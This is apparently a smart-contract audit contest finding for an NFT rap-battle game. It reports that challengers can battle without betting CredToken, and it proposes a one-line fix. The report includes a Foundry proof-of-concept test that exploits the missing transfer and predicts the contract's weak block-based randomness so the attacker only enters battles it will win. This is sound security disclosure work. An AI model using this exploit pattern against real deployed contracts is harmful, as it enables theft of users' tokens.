Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Anyone with 0 CredToken can go on Battle and potentially win rewards

Anyone with 0 CredToken can go on Battle and potentially win rewards

Summary

A challenger can go to battle without betting any CredToken. Even if they don't have any CredToken, they can still win the reward if they win the battle. If they lose, nothing happens, and the transaction is reverted.

Vulnerability Details

Impact

It is unfair for the defender who needs to bet their CredToken, as the challenger can go on Battle without risking any CredToken.

Tools Used

Foundry

Proof of Concept (POC)

Add this code in the Smart contract:

  1. We have 2 users, user and user2.

    • user manages to mint OneShot NFT and gets 4 CredToken.

    • user2 does not have any CredToken.

  2. user goes on battle as defender.

    • user2 can also go on battle without having any CredToken.

If user2 wins, they can get the reward; if they lose, the transaction is reverted.

function testGoOnBattleWithZeroCredToken() public mintRapper {
address user2 = makeAddr("User2");
vm.startPrank(user);
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
vm.warp(4 days + 1);
vm.startPrank(user);
streets.unstake(0);
vm.stopPrank();
// user has 4 CredToken and user2 has none
assert(cred.balanceOf(address(user)) == 4);
assert(cred.balanceOf(address(user2)) == 0);
// user goes on battle as defender
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
// user2 manipulates RNG to only go on battle if they win
bool win = false;
while (!win) {
uint256 defenderRapperSkill = rapBattle.getRapperSkill(0);
uint256 challengerRapperSkill = rapBattle.getRapperSkill(1);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, user2))) % totalBattleSkill;
win = random > defenderRapperSkill ? true : false;
vm.warp(111 seconds);
vm.roll(block.number + 1);
if (win) {
vm.startPrank(user2);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
} else {
console.log("##### user loses and decides not to go on battle");
}
}
// check the owner of NFT 0
assertEq(oneShot.ownerOf(0), address(user), "Owner of NFT 0 is not user");
// check the balance; the user should not get a reward but they get 3 tokens as a reward
assertEq(cred.balanceOf(address(user2)), 3, "User2 balance is not 3");
}

Recommendations

The function goOnStageOrBattle should also transfer the cred token to the rapBattle contract. Please uncomment line 49 in the smart contract RapBattle.sol.

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
+ credToken.transferFrom(msg.sender, address(this), _credBet);
- //credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Design choice
azanux Submitter
over 1 year ago
inallhonesty Lead Judge
over 1 year ago
inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

missing check for sufficient `_credBet_` approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.